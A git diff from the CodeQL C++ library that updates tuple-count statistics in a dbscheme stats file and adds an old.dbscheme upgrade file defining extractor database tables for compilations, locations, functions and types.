+ 8 - 1753 - 1754 - 134 + 11206 + 11207 + 8 - 2198 - 2199 - 134 + 36340 + 36341 + 8 - 4244 - 4245 - 134 + 43405 + 43406 + 8 - 6101 - 6102 - 134 + 47752 + 47753 + 8 - 6607 - 6608 - 134 + 83834 + 83835 + 8 + + + 97372 + 97373 + 8 @@ -37396,22 +37385,17 @@ 1 2 - 2357205 + 2346946 2 - 3 - 243538 + 4 + 238474 - 3 - 8 - 228602 - - - 8 - 653 - 136973 + 4 + 1581 + 162292 @@ -37427,12 +37411,12 @@ 1 2 - 2892720 + 2661225 2 - 8 - 73599 + 10 + 86489 @@ -37549,15 +37533,15 @@ if_initialization - 403 + 373 if_stmt - 403 + 373 init_id - 403 + 373 @@ -37571,7 +37555,7 @@ 1 2 - 403 + 373 @@ -37587,7 +37571,7 @@ 1 2 - 403 + 373 @@ -37597,15 +37581,15 @@ if_then - 987309 + 987571 if_stmt - 987309 + 987571 then_id - 987309 + 987571 @@ -37619,7 +37603,7 @@ 1 2 - 987309 + 987571 @@ -37635,7 +37619,7 @@ 1 2 - 987309 + 987571 @@ -37645,15 +37629,15 @@ if_else - 468357 + 467752 if_stmt - 468357 + 467752 else_id - 468357 + 467752 @@ -37667,7 +37651,7 @@ 1 2 - 468357 + 467752 @@ -37683,7 +37667,7 @@ 1 2 - 468357 + 467752 @@ -37741,15 +37725,15 @@ constexpr_if_then - 72388 + 103537 constexpr_if_stmt - 72388 + 103537 then_id - 72388 + 103537 @@ -37763,7 +37747,7 @@ 1 2 - 72388 + 103537 @@ -37779,7 +37763,7 @@ 1 2 - 72388 + 103537 @@ -37789,15 +37773,15 @@ constexpr_if_else - 41980 + 73759 constexpr_if_stmt - 41980 + 73759 else_id - 41980 + 73759 @@ -37811,7 +37795,7 @@ 1 2 - 41980 + 73759 @@ -37827,7 +37811,7 @@ 1 2 - 41980 + 73759 @@ -37933,15 +37917,15 @@ while_body - 39531 + 39542 while_stmt - 39531 + 39542 body_id - 39531 + 39542 @@ -37955,7 +37939,7 @@ 1 2 - 39531 + 39542 @@ -37971,7 +37955,7 @@ 1 2 - 39531 + 39542 @@ -37981,15 +37965,15 @@ do_body - 232977 + 233017 do_stmt - 232977 + 233017 body_id - 232977 + 233017 @@ -38003,7 +37987,7 @@ 1 2 - 232977 + 233017 @@ -38019,7 +38003,7 @@ 1 2 - 232977 + 233017 @@ -38077,11 +38061,11 @@ switch_case - 895930 + 894773 switch_stmt - 441314 + 440744 index @@ -38089,7 +38073,7 @@ case_id - 895930 + 894773 @@ -38108,12 +38092,12 @@ 2 3 - 438224 + 437658 3 19 - 3066 + 3062 @@ -38134,12 +38118,12 @@ 2 3 - 438224 + 437658 3 19 - 3066 + 3062 @@ -38297,7 +38281,7 @@ 1 2 - 895930 + 894773 @@ -38313,7 +38297,7 @@ 1 2 - 895930 + 894773 @@ -38323,15 +38307,15 @@ switch_body - 441314 + 440744 switch_stmt - 441314 + 440744 body_id - 441314 + 440744 @@ -38345,7 +38329,7 @@ 1 2 - 441314 + 440744 @@ -38361,7 +38345,7 @@ 1 2 - 441314 + 440744 @@ -38371,15 +38355,15 @@ for_initialization - 73031 + 73050 for_stmt - 73031 + 73050 init_id - 73031 + 73050 @@ -38393,7 +38377,7 @@ 1 2 - 73031 + 73050 @@ -38409,7 +38393,7 @@ 1 2 - 73031 + 73050 @@ -38419,15 +38403,15 @@ for_condition - 76117 + 76137 for_stmt - 76117 + 76137 condition_id - 76117 + 76137 @@ -38441,7 +38425,7 @@ 1 2 - 76117 + 76137 @@ -38457,7 +38441,7 @@ 1 2 - 76117 + 76137 @@ -38467,15 +38451,15 @@ for_update - 73171 + 73190 for_stmt - 73171 + 73190 update_id - 73171 + 73190 @@ -38489,7 +38473,7 @@ 1 2 - 73171 + 73190 @@ -38505,7 +38489,7 @@ 1 2 - 73171 + 73190 @@ -38515,15 +38499,15 @@ for_body - 84141 + 84163 for_stmt - 84141 + 84163 body_id - 84141 + 84163 @@ -38537,7 +38521,7 @@ 1 2 - 84141 + 84163 @@ -38553,7 +38537,7 @@ 1 2 - 84141 + 84163 @@ -38563,19 +38547,19 @@ stmtparents - 5536606 + 5509818 id - 5536606 + 5509818 index - 16843 + 16722 parent - 2349144 + 2336424 @@ -38589,7 +38573,7 @@ 1 2 - 5536606 + 5509818 @@ -38605,7 +38589,7 @@ 1 2 - 5536606 + 5509818 @@ -38621,52 +38605,52 @@ 1 2 - 5533 + 5493 2 3 - 1379 + 1369 3 4 - 303 + 301 4 5 - 2142 + 2126 7 8 - 1405 + 1394 8 12 - 1092 + 1084 12 29 - 1483 + 1472 29 38 - 1266 + 1257 41 77 - 1274 + 1265 77 - 194851 - 962 + 195079 + 955 @@ -38682,52 +38666,52 @@ 1 2 - 5533 + 5493 2 3 - 1379 + 1369 3 4 - 303 + 301 4 5 - 2142 + 2126 7 8 - 1405 + 1394 8 12 - 1092 + 1084 12 29 - 1483 + 1472 29 38 - 1266 + 1257 41 77 - 1274 + 1265 77 - 194851 - 962 + 195079 + 955 @@ -38743,32 +38727,32 @@ 1 2 - 1349093 + 1341036 2 3 - 508963 + 506485 3 4 - 144290 + 143753 4 6 - 151888 + 151038 6 - 17 - 178125 + 16 + 175329 - 17 + 16 1943 - 16783 + 18780 @@ -38784,32 +38768,32 @@ 1 2 - 1349093 + 1341036 2 3 - 508963 + 506485 3 4 - 144290 + 143753 4 6 - 151888 + 151038 6 - 17 - 178125 + 16 + 175329 - 17 + 16 1943 - 16783 + 18780 @@ -38819,30 +38803,30 @@ ishandler - 47453 + 47330 block - 47453 + 47330 stmt_decl_bind - 730619 + 723033 stmt - 690157 + 682992 num - 125 + 124 decl - 730550 + 722965 @@ -38856,12 +38840,12 @@ 1 2 - 667933 + 660998 2 32 - 22224 + 21993 @@ -38877,12 +38861,12 @@ 1 2 - 667933 + 660998 2 32 - 22224 + 21993 @@ -38942,7 +38926,7 @@ 5480 - 170178 + 170179 8 @@ -39003,7 +38987,7 @@ 5480 - 170161 + 170162 8 @@ -39020,7 +39004,7 @@ 1 2 - 730526 + 722941 2 @@ -39041,7 +39025,7 @@ 1 2 - 730550 + 722965 @@ -39051,19 +39035,19 @@ stmt_decl_entry_bind - 730619 + 723033 stmt - 690157 + 682992 num - 125 + 124 decl_entry - 730619 + 723033 @@ -39077,12 +39061,12 @@ 1 2 - 667933 + 660998 2 32 - 22224 + 21993 @@ -39098,12 +39082,12 @@ 1 2 - 667933 + 660998 2 32 - 22224 + 21993 @@ -39163,7 +39147,7 @@ 5480 - 170178 + 170179 8 @@ -39224,7 +39208,7 @@ 5480 - 170178 + 170179 8 @@ -39241,7 +39225,7 @@ 1 2 - 730619 + 723033 @@ -39257,7 +39241,7 @@ 1 2 - 730619 + 723033 @@ -39267,15 +39251,15 @@ blockscope - 1838779 + 1757769 block - 1838779 + 1757769 enclosing - 1575731 + 1503348 @@ -39289,7 +39273,7 @@ 1 2 - 1838779 + 1757769 @@ -39305,17 +39289,17 @@ 1 2 - 1400410 + 1332655 2 3 - 129842 + 128207 3 28 - 45478 + 42486 @@ -39325,19 +39309,19 @@ jumpinfo - 347302 + 347391 id - 347302 + 347391 str - 28864 + 28871 target - 72493 + 72512 @@ -39351,7 +39335,7 @@ 1 2 - 347302 + 347391 @@ -39367,7 +39351,7 @@ 1 2 - 347302 + 347391 @@ -39383,12 +39367,12 @@ 2 3 - 13557 + 13560 3 4 - 6041 + 6042 4 @@ -39403,7 +39387,7 @@ 6 10 - 2191 + 2192 10 @@ -39413,7 +39397,7 @@ 25 13711 - 999 + 1000 @@ -39429,17 +39413,17 @@ 1 2 - 23122 + 23128 2 3 - 3616 + 3617 3 3321 - 2124 + 2125 @@ -39460,27 +39444,27 @@ 2 3 - 36105 + 36114 3 4 - 17581 + 17586 4 5 - 7357 + 7359 5 8 - 6399 + 6401 8 2124 - 5016 + 5017 @@ -39496,7 +39480,7 @@ 1 2 - 72493 + 72512 @@ -39506,19 +39490,19 @@ preprocdirects - 5704844 + 5386937 id - 5704844 + 5386937 kind - 1480 + 1370 location - 5701480 + 5383698 @@ -39532,7 +39516,7 @@ 1 2 - 5704844 + 5386937 @@ -39548,7 +39532,7 @@ 1 2 - 5704844 + 5386937 @@ -39564,57 +39548,57 @@ 1 2 - 134 + 124 - 122 - 123 - 134 + 145 + 146 + 124 - 694 - 695 - 134 + 808 + 809 + 124 - 799 - 800 - 134 + 866 + 867 + 124 - 932 - 933 - 134 + 973 + 974 + 124 - 1689 - 1690 - 134 + 1509 + 1510 + 124 - 1792 - 1793 - 134 + 1891 + 1892 + 124 - 3012 - 3013 - 134 + 3256 + 3257 + 124 - 3802 - 3803 - 134 + 4714 + 4715 + 124 - 6290 - 6291 - 134 + 7089 + 7090 + 124 - 23266 - 23267 - 134 + 21984 + 21985 + 124 @@ -39630,57 +39614,57 @@ 1 2 - 134 + 124 - 122 - 123 - 134 + 145 + 146 + 124 - 694 - 695 - 134 + 808 + 809 + 124 - 799 - 800 - 134 + 866 + 867 + 124 - 932 - 933 - 134 + 973 + 974 + 124 - 1689 - 1690 - 134 + 1509 + 1510 + 124 - 1792 - 1793 - 134 + 1891 + 1892 + 124 - 3012 - 3013 - 134 + 3256 + 3257 + 124 - 3802 - 3803 - 134 + 4714 + 4715 + 124 - 6290 - 6291 - 134 + 7089 + 7090 + 124 - 23241 - 23242 - 134 + 21958 + 21959 + 124 @@ -39696,12 +39680,12 @@ 1 2 - 5701345 + 5383573 - 26 - 27 - 134 + 27 + 28 + 124 @@ -39717,7 +39701,7 @@ 1 2 - 5701480 + 5383698 @@ -39727,15 +39711,15 @@ preprocpair - 1103859 + 1136918 begin - 846328 + 883245 elseelifend - 1103859 + 1136918 @@ -39749,17 +39733,17 @@ 1 2 - 601579 + 643153 2 3 - 235599 + 230498 3 9 - 9149 + 9593 @@ -39775,7 +39759,7 @@ 1 2 - 1103859 + 1136918 @@ -39785,41 +39769,41 @@ preproctrue - 388584 + 436078 branch - 388584 + 436078 preprocfalse - 273273 + 283575 branch - 273273 + 283575 preproctext - 4690461 + 4335864 id - 4690461 + 4335864 head - 3333241 + 2943528 body - 1948304 + 1674914 @@ -39833,7 +39817,7 @@ 1 2 - 4690461 + 4335864 @@ -39849,7 +39833,7 @@ 1 2 - 4690461 + 4335864 @@ -39865,12 +39849,12 @@ 1 2 - 3143793 + 2747542 2 - 740 - 189448 + 798 + 195986 @@ -39886,12 +39870,12 @@ 1 2 - 3253048 + 2864162 2 5 - 80192 + 79366 @@ -39907,17 +39891,17 @@ 1 2 - 1763699 + 1526897 2 - 6 - 146122 + 10 + 127210 - 6 - 12303 - 38481 + 10 + 13579 + 20807 @@ -39933,17 +39917,17 @@ 1 2 - 1767601 + 1531133 2 - 7 - 146526 + 12 + 126836 - 7 - 2977 - 34176 + 12 + 3231 + 16944 @@ -39953,15 +39937,15 @@ includes - 408508 + 397814 id - 408508 + 397814 included - 75250 + 73280 @@ -39975,7 +39959,7 @@ 1 2 - 408508 + 397814 @@ -39991,37 +39975,37 @@ 1 2 - 37239 + 36264 2 3 - 12106 + 11789 3 4 - 6351 + 6184 4 6 - 6865 + 6685 6 11 - 5795 + 5644 11 47 - 5646 + 5499 47 793 - 1245 + 1213 @@ -40031,15 +40015,15 @@ link_targets - 947 + 923 id - 947 + 923 binary - 947 + 923 @@ -40053,7 +40037,7 @@ 1 2 - 947 + 923 @@ -40069,7 +40053,7 @@ 1 2 - 947 + 923 @@ -40079,15 +40063,15 @@ link_parent - 38261175 + 38113713 element - 4866384 + 4847511 link_target - 429 + 427 @@ -40101,17 +40085,17 @@ 1 2 - 667923 + 665224 2 9 - 33936 + 33795 9 10 - 4164523 + 4148491 @@ -40130,48 +40114,48 @@ 42 - 97325 - 97326 + 97356 + 97357 42 - 97444 - 97445 + 97475 + 97476 42 - 97497 - 97498 + 97528 + 97529 42 - 97524 - 97525 + 97555 + 97556 42 - 97546 - 97547 + 97577 + 97578 42 - 97578 - 97579 + 97609 + 97610 42 - 99585 - 99586 + 99616 + 99617 42 - 102965 - 102966 + 102996 + 102997 42 - 104327 - 104328 + 104360 + 104361 42 diff --git a/cpp/ql/lib/upgrades/9a7c3c14c1076f64b871719117a558733d987b48/old.dbscheme b/cpp/ql/lib/upgrades/9a7c3c14c1076f64b871719117a558733d987b48/old.dbscheme new file mode 100644 index 00000000000..9a7c3c14c10 --- /dev/null +++ b/cpp/ql/lib/upgrades/9a7c3c14c1076f64b871719117a558733d987b48/old.dbscheme @@ -0,0 +1,2491 @@ + +/** + * An invocation of the compiler. Note that more than one file may be + * compiled per invocation. For example, this command compiles three + * source files: + * + * gcc -c f1.c f2.c f3.c + * + * The `id` simply identifies the invocation, while `cwd` is the working + * directory from which the compiler was invoked. + */ +compilations( + /** + * An invocation of the compiler. Note that more than one file may + * be compiled per invocation. For example, this command compiles + * three source files: + * + * gcc -c f1.c f2.c f3.c + */ + unique int id : @compilation, + string cwd : string ref +); + +/** + * The arguments that were passed to the extractor for a compiler + * invocation. If `id` is for the compiler invocation + * + * gcc -c f1.c f2.c f3.c + * + * then typically there will be rows for + * + * num | arg + * --- | --- + * 0 | *path to extractor* + * 1 | `--mimic` + * 2 | `/usr/bin/gcc` + * 3 | `-c` + * 4 | f1.c + * 5 | f2.c + * 6 | f3.c + */ +#keyset[id, num] +compilation_args( + int id : @compilation ref, + int num : int ref, + string arg : string ref +); + +/** + * Optionally, record the build mode for each compilation. + */ +compilation_build_mode( + unique int id : @compilation ref, + int mode : int ref +); + +/* +case @compilation_build_mode.mode of + 0 = @build_mode_none +| 1 = @build_mode_manual +| 2 = @build_mode_auto +; +*/ + +/** + * The source files that are compiled by a compiler invocation. + * If `id` is for the compiler invocation + * + * gcc -c f1.c f2.c f3.c + * + * then there will be rows for + * + * num | arg + * --- | --- + * 0 | f1.c + * 1 | f2.c + * 2 | f3.c + * + * Note that even if those files `#include` headers, those headers + * do not appear as rows. + */ +#keyset[id, num] +compilation_compiling_files( + int id : @compilation ref, + int num : int ref, + int file : @file ref +); + +/** + * The time taken by the extractor for a compiler invocation. + * + * For each file `num`, there will be rows for + * + * kind | seconds + * ---- | --- + * 1 | CPU seconds used by the extractor frontend + * 2 | Elapsed seconds during the extractor frontend + * 3 | CPU seconds used by the extractor backend + * 4 | Elapsed seconds during the extractor backend + */ +#keyset[id, num, kind] +compilation_time( + int id : @compilation ref, + int num : int ref, + /* kind: + 1 = frontend_cpu_seconds + 2 = frontend_elapsed_seconds + 3 = extractor_cpu_seconds + 4 = extractor_elapsed_seconds + */ + int kind : int ref, + float seconds : float ref +); + +/** + * An error or warning generated by the extractor. + * The diagnostic message `diagnostic` was generated during compiler + * invocation `compilation`, and is the `file_number_diagnostic_number`th + * message generated while extracting the `file_number`th file of that + * invocation. + */ +#keyset[compilation, file_number, file_number_diagnostic_number] +diagnostic_for( + int diagnostic : @diagnostic ref, + int compilation : @compilation ref, + int file_number : int ref, + int file_number_diagnostic_number : int ref +); + +/** + * If extraction was successful, then `cpu_seconds` and + * `elapsed_seconds` are the CPU time and elapsed time (respectively) + * that extraction took for compiler invocation `id`. + */ +compilation_finished( + unique int id : @compilation ref, + float cpu_seconds : float ref, + float elapsed_seconds : float ref +); + + +/** + * External data, loaded from CSV files during snapshot creation. See + * [Tutorial: Incorporating external data](https://help.semmle.com/wiki/display/SD/Tutorial%3A+Incorporating+external+data) + * for more information. + */ +externalData( + int id : @externalDataElement, + string path : string ref, + int column: int ref, + string value : string ref +); + +/** + * The source location of the snapshot. + */ +sourceLocationPrefix(string prefix : string ref); + +/** + * Information about packages that provide code used during compilation. + * The `id` is just a unique identifier. + * The `namespace` is typically the name of the package manager that + * provided the package (e.g. "dpkg" or "yum"). + * The `package_name` is the name of the package, and `version` is its + * version (as a string). + */ +external_packages( + unique int id: @external_package, + string namespace : string ref, + string package_name : string ref, + string version : string ref +); + +/** + * Holds if File `fileid` was provided by package `package`. + */ +header_to_external_package( + int fileid : @file ref, + int package : @external_package ref +); + +/* + * Version history + */ + +svnentries( + unique int id : @svnentry, + string revision : string ref, + string author : string ref, + date revisionDate : date ref, + int changeSize : int ref +) + +svnaffectedfiles( + int id : @svnentry ref, + int file : @file ref, + string action : string ref +) + +svnentrymsg( + unique int id : @svnentry ref, + string message : string ref +) + +svnchurn( + int commit : @svnentry ref, + int file : @file ref, + int addedLines : int ref, + int deletedLines : int ref +) + +/* + * C++ dbscheme + */ + +extractor_version( + string codeql_version: string ref, + string frontend_version: string ref +) + +@location = @location_stmt | @location_expr | @location_default ; + +/** + * The location of an element that is not an expression or a statement. + * The location spans column `startcolumn` of line `startline` to + * column `endcolumn` of line `endline` in file `file`. + * For more information, see + * [Locations](https://codeql.github.com/docs/writing-codeql-queries/providing-locations-in-codeql-queries/). + */ +locations_default( + /** The location of an element that is not an expression or a statement. */ + unique int id: @location_default, + int container: @container ref, + int startLine: int ref, + int startColumn: int ref, + int endLine: int ref, + int endColumn: int ref +); + +/** + * The location of a statement. + * The location spans column `startcolumn` of line `startline` to + * column `endcolumn` of line `endline` in file `file`. + * For more information, see + * [Locations](https://codeql.github.com/docs/writing-codeql-queries/providing-locations-in-codeql-queries/). + */ +locations_stmt( + /** The location of a statement. */ + unique int id: @location_stmt, + int container: @container ref, + int startLine: int ref, + int startColumn: int ref, + int endLine: int ref, + int endColumn: int ref +); + +/** + * The location of an expression. + * The location spans column `startcolumn` of line `startline` to + * column `endcolumn` of line `endline` in file `file`. + * For more information, see + * [Locations](https://codeql.github.com/docs/writing-codeql-queries/providing-locations-in-codeql-queries/). + */ +locations_expr( + /** The location of an expression. */ + unique int id: @location_expr, + int container: @container ref, + int startLine: int ref, + int startColumn: int ref, + int endLine: int ref, + int endColumn: int ref +); + +/** An element for which line-count information is available. */ +@sourceline = @file | @function | @variable | @enumconstant | @xmllocatable; + +numlines( + int element_id: @sourceline ref, + int num_lines: int ref, + int num_code: int ref, + int num_comment: int ref +); + +diagnostics( + unique int id: @diagnostic, + int severity: int ref, + string error_tag: string ref, + string error_message: string ref, + string full_error_message: string ref, + int location: @location_default ref +); + +files( + unique int id: @file, + string name: string ref +); + +folders( + unique int id: @folder, + string name: string ref +); + +@container = @folder | @file + +containerparent( + int parent: @container ref, + unique int child: @container ref +); + +fileannotations( + int id: @file ref, + int kind: int ref, + string name: string ref, + string value: string ref +); + +inmacroexpansion( + int id: @element ref, + int inv: @macroinvocation ref +); + +affectedbymacroexpansion( + int id: @element ref, + int inv: @macroinvocation ref +); + +case @macroinvocation.kind of + 1 = @macro_expansion +| 2 = @other_macro_reference +; + +macroinvocations( + unique int id: @macroinvocation, + int macro_id: @ppd_define ref, + int location: @location_default ref, + int kind: int ref +); + +macroparent( + unique int id: @macroinvocation ref, + int parent_id: @macroinvocation ref +); + +// a macroinvocation may be part of another location +// the way to find a constant expression that uses a macro +// is thus to find a constant expression that has a location +// to which a macro invocation is bound +macrolocationbind( + int id: @macroinvocation ref, + int location: @location ref +); + +#keyset[invocation, argument_index] +macro_argument_unexpanded( + int invocation: @macroinvocation ref, + int argument_index: int ref, + string text: string ref +); + +#keyset[invocation, argument_index] +macro_argument_expanded( + int invocation: @macroinvocation ref, + int argument_index: int ref, + string text: string ref +); + +/* +case @function.kind of + 1 = @normal_function +| 2 = @constructor +| 3 = @destructor +| 4 = @conversion_function +| 5 = @operator +| 6 = @builtin_function // GCC built-in functions, e.g. __builtin___memcpy_chk +| 7 = @user_defined_literal +| 8 = @deduction_guide +; +*/ + +functions( + unique int id: @function, + string name: string ref, + int kind: int ref +); + +function_entry_point( + int id: @function ref, + unique int entry_point: @stmt ref +); + +function_return_type( + int id: @function ref, + int return_type: @type ref +); + +/** + * If `function` is a coroutine, then this gives the `std::experimental::resumable_traits` + * instance associated with it, and the variables representing the `handle` and `promise` + * for it. + */ +coroutine( + unique int function: @function ref, + int traits: @type ref +); + +/* +case @coroutine_placeholder_variable.kind of + 1 = @handle +| 2 = @promise +| 3 = @init_await_resume +; +*/ + +coroutine_placeholder_variable( + unique int placeholder_variable: @variable ref, + int kind: int ref, + int function: @function ref +) + +/** The `new` function used for allocating the coroutine state, if any. */ +coroutine_new( + unique int function: @function ref, + int new: @function ref +); + +/** The `delete` function used for deallocating the coroutine state, if any. */ +coroutine_delete( + unique int function: @function ref, + int delete: @function ref +); + +purefunctions(unique int id: @function ref); + +function_deleted(unique int id: @function ref); + +function_defaulted(unique int id: @function ref); + +function_prototyped(unique int id: @function ref) + +deduction_guide_for_class( + int id: @function ref, + int class_template: @usertype ref +) + +member_function_this_type( + unique int id: @function ref, + int this_type: @type ref +); + +#keyset[id, type_id] +fun_decls( + int id: @fun_decl, + int function: @function ref, + int type_id: @type ref, + string name: string ref, + int location: @location_default ref +); +fun_def(unique int id: @fun_decl ref); +fun_specialized(unique int id: @fun_decl ref); +fun_implicit(unique int id: @fun_decl ref); +fun_decl_specifiers( + int id: @fun_decl ref, + string name: string ref +) +#keyset[fun_decl, index] +fun_decl_throws( + int fun_decl: @fun_decl ref, + int index: int ref, + int type_id: @type ref +); +/* an empty throw specification is different from none */ +fun_decl_empty_throws(unique int fun_decl: @fun_decl ref); +fun_decl_noexcept( + int fun_decl: @fun_decl ref, + int constant: @expr ref +); +fun_decl_empty_noexcept(int fun_decl: @fun_decl ref); +fun_decl_typedef_type( + unique int fun_decl: @fun_decl ref, + int typedeftype_id: @usertype ref +); + +/* +case @fun_requires.kind of + 1 = @template_attached +| 2 = @function_attached +; +*/ + +fun_requires( + int id: @fun_decl ref, + int kind: int ref, + int constraint: @expr ref +); + +param_decl_bind( + unique int id: @var_decl ref, + int index: int ref, + int fun_decl: @fun_decl ref +); + +#keyset[id, type_id] +var_decls( + int id: @var_decl, + int variable: @variable ref, + int type_id: @type ref, + string name: string ref, + int location: @location_default ref +); +var_def(unique int id: @var_decl ref); +var_specialized(int id: @var_decl ref); +var_decl_specifiers( + int id: @var_decl ref, + string name: string ref +) +is_structured_binding(unique int id: @variable ref); +var_requires( + int id: @var_decl ref, + int constraint: @expr ref +); + +type_decls( + unique int id: @type_decl, + int type_id: @type ref, + int location: @location_default ref +); +type_def(unique int id: @type_decl ref); +type_decl_top( + unique int type_decl: @type_decl ref +); +type_requires( + int id: @type_decl ref, + int constraint: @expr ref +); + +namespace_decls( + unique int id: @namespace_decl, + int namespace_id: @namespace ref, + int location: @location_default ref, + int bodylocation: @location_default ref +); + +case @using.kind of + 1 = @using_declaration +| 2 = @using_directive +| 3 = @using_enum_declaration +; + +usings( + unique int id: @using, + int element_id: @element ref, + int location: @location_default ref, + int kind: int ref +); + +/** The element which contains the `using` declaration. */ +using_container( + int parent: @element ref, + int child: @using ref +); + +static_asserts( + unique int id: @static_assert, + int condition : @expr ref, + string message : string ref, + int location: @location_default ref, + int enclosing : @element ref +); + +// each function has an ordered list of parameters +#keyset[id, type_id] +#keyset[function, index, type_id] +params( + int id: @parameter, + int function: @parameterized_element ref, + int index: int ref, + int type_id: @type ref +); + +overrides( + int new: @function ref, + int old: @function ref +); + +#keyset[id, type_id] +membervariables( + int id: @membervariable, + int type_id: @type ref, + string name: string ref +); + +#keyset[id, type_id] +globalvariables( + int id: @globalvariable, + int type_id: @type ref, + string name: string ref +); + +#keyset[id, type_id] +localvariables( + int id: @localvariable, + int type_id: @type ref, + string name: string ref +); + +autoderivation( + unique int var: @variable ref, + int derivation_type: @type ref +); + +orphaned_variables( + int var: @localvariable ref, + int function: @function ref +) + +enumconstants( + unique int id: @enumconstant, + int parent: @usertype ref, + int index: int ref, + int type_id: @type ref, + string name: string ref, + int location: @location_default ref +); + +@variable = @localscopevariable | @globalvariable | @membervariable; + +@localscopevariable = @localvariable | @parameter; + +/** + * Built-in types are the fundamental types, e.g., integral, floating, and void. + */ +case @builtintype.kind of + 1 = @errortype +| 2 = @unknowntype +| 3 = @void +| 4 = @boolean +| 5 = @char +| 6 = @unsigned_char +| 7 = @signed_char +| 8 = @short +| 9 = @unsigned_short +| 10 = @signed_short +| 11 = @int +| 12 = @unsigned_int +| 13 = @signed_int +| 14 = @long +| 15 = @unsigned_long +| 16 = @signed_long +| 17 = @long_long +| 18 = @unsigned_long_long +| 19 = @signed_long_long +// ... 20 Microsoft-specific __int8 +// ... 21 Microsoft-specific __int16 +// ... 22 Microsoft-specific __int32 +// ... 23 Microsoft-specific __int64 +| 24 = @float +| 25 = @double +| 26 = @long_double +| 27 = @complex_float // C99-specific _Complex float +| 28 = @complex_double // C99-specific _Complex double +| 29 = @complex_long_double // C99-specific _Complex long double +| 30 = @imaginary_float // C99-specific _Imaginary float +| 31 = @imaginary_double // C99-specific _Imaginary double +| 32 = @imaginary_long_double // C99-specific _Imaginary long double +| 33 = @wchar_t // Microsoft-specific +| 34 = @decltype_nullptr // C++11 +| 35 = @int128 // __int128 +| 36 = @unsigned_int128 // unsigned __int128 +| 37 = @signed_int128 // signed __int128 +| 38 = @float128 // __float128 +| 39 = @complex_float128 // _Complex __float128 +| 40 = @decimal32 // _Decimal32 +| 41 = @decimal64 // _Decimal64 +| 42 = @decimal128 // _Decimal128 +| 43 = @char16_t +| 44 = @char32_t +| 45 = @std_float32 // _Float32 +| 46 = @float32x // _Float32x +| 47 = @std_float64 // _Float64 +| 48 = @float64x // _Float64x +| 49 = @std_float128 // _Float128 +// ... 50 _Float128x +| 51 = @char8_t +| 52 = @float16 // _Float16 +| 53 = @complex_float16 // _Complex _Float16 +| 54 = @fp16 // __fp16 +| 55 = @std_bfloat16 // __bf16 +| 56 = @std_float16 // std::float16_t +| 57 = @complex_std_float32 // _Complex _Float32 +| 58 = @complex_float32x // _Complex _Float32x +| 59 = @complex_std_float64 // _Complex _Float64 +| 60 = @complex_float64x // _Complex _Float64x +| 61 = @complex_std_float128 // _Complex _Float128 +; + +builtintypes( + unique int id: @builtintype, + string name: string ref, + int kind: int ref, + int size: int ref, + int sign: int ref, + int alignment: int ref +); + +/** + * Derived types are types that are directly derived from existing types and + * point to, refer to, transform type data to return a new type. + */ +case @derivedtype.kind of + 1 = @pointer +| 2 = @reference +| 3 = @type_with_specifiers +| 4 = @array +| 5 = @gnu_vector +| 6 = @routineptr +| 7 = @routinereference +| 8 = @rvalue_reference // C++11 +// ... 9 type_conforming_to_protocols deprecated +| 10 = @block +; + +derivedtypes( + unique int id: @derivedtype, + string name: string ref, + int kind: int ref, + int type_id: @type ref +); + +pointerishsize(unique int id: @derivedtype ref, + int size: int ref, + int alignment: int ref); + +arraysizes( + unique int id: @derivedtype ref, + int num_elements: int ref, + int bytesize: int ref, + int alignment: int ref +); + +typedefbase( + unique int id: @usertype ref, + int type_id: @type ref +); + +/** + * An instance of the C++11 `decltype` operator or C23 `typeof`/`typeof_unqual` + * operator taking an expression as its argument. For example: + * ``` + * int a; + * decltype(1+a) b; + * typeof(1+a) c; + * ``` + * Here `expr` is `1+a`. + * + * Sometimes an additional pair of parentheses around the expression + * changes the semantics of the decltype, e.g. + * ``` + * struct A { double x; }; + * const A* a = new A(); + * decltype( a->x ); // type is double + * decltype((a->x)); // type is const double& + * ``` + * (Please consult the C++11 standard for more details). + * `parentheses_would_change_meaning` is `true` iff that is the case. + */ + +/* +case @decltype.kind of +| 0 = @decltype +| 1 = @typeof // The frontend does not differentiate between typeof and typeof_unqual +; +*/ + +#keyset[id, expr] +decltypes( + int id: @decltype, + int expr: @expr ref, + int kind: int ref, + int base_type: @type ref, + boolean parentheses_would_change_meaning: boolean ref +); + +/* +case @type_operator.kind of +| 0 = @typeof // The frontend does not differentiate between typeof and typeof_unqual +| 1 = @underlying_type +| 2 = @bases +| 3 = @direct_bases +| 4 = @add_lvalue_reference +| 5 = @add_pointer +| 6 = @add_rvalue_reference +| 7 = @decay +| 8 = @make_signed +| 9 = @make_unsigned +| 10 = @remove_all_extents +| 11 = @remove_const +| 12 = @remove_cv +| 13 = @remove_cvref +| 14 = @remove_extent +| 15 = @remove_pointer +| 16 = @remove_reference_t +| 17 = @remove_restrict +| 18 = @remove_volatile +| 19 = @remove_reference +; +*/ + +type_operators( + unique int id: @type_operator, + int arg_type: @type ref, + int kind: int ref, + int base_type: @type ref +) + +/* +case @usertype.kind of +| 0 = @unknown_usertype +| 1 = @struct +| 2 = @class +| 3 = @union +| 4 = @enum +// ... 5 = @typedef deprecated // classic C: typedef typedef type name +// ... 6 = @template deprecated +| 7 = @template_parameter +| 8 = @template_template_parameter +| 9 = @proxy_class // a proxy class associated with a template parameter +// ... 10 objc_class deprecated +// ... 11 objc_protocol deprecated +// ... 12 objc_category deprecated +| 13 = @scoped_enum +// ... 14 = @using_alias deprecated // a using name = type style typedef +| 15 = @template_struct +| 16 = @template_class +| 17 = @template_union +| 18 = @alias +; +*/ + +usertypes( + unique int id: @usertype, + string name: string ref, + int kind: int ref +); + +usertypesize( + unique int id: @usertype ref, + int size: int ref, + int alignment: int ref +); + +usertype_final(unique int id: @usertype ref); + +usertype_uuid( + unique int id: @usertype ref, + string uuid: string ref +); + +/* +case @usertype.alias_kind of +| 0 = @typedef +| 1 = @alias +*/ + +usertype_alias_kind( + int id: @usertype ref, + int alias_kind: int ref +) + +nontype_template_parameters( + int id: @expr ref +); + +type_template_type_constraint( + int id: @usertype ref, + int constraint: @expr ref +); + +mangled_name( + unique int id: @declaration ref, + int mangled_name : @mangledname, + boolean is_complete: boolean ref +); + +is_pod_class(unique int id: @usertype ref); +is_standard_layout_class(unique int id: @usertype ref); + +is_complete(unique int id: @usertype ref); + +is_class_template(unique int id: @usertype ref); +class_instantiation( + int to: @usertype ref, + int from: @usertype ref +); +class_template_argument( + int type_id: @usertype ref, + int index: int ref, + int arg_type: @type ref +); +class_template_argument_value( + int type_id: @usertype ref, + int index: int ref, + int arg_value: @expr ref +); + +@user_or_decltype = @usertype | @decltype; + 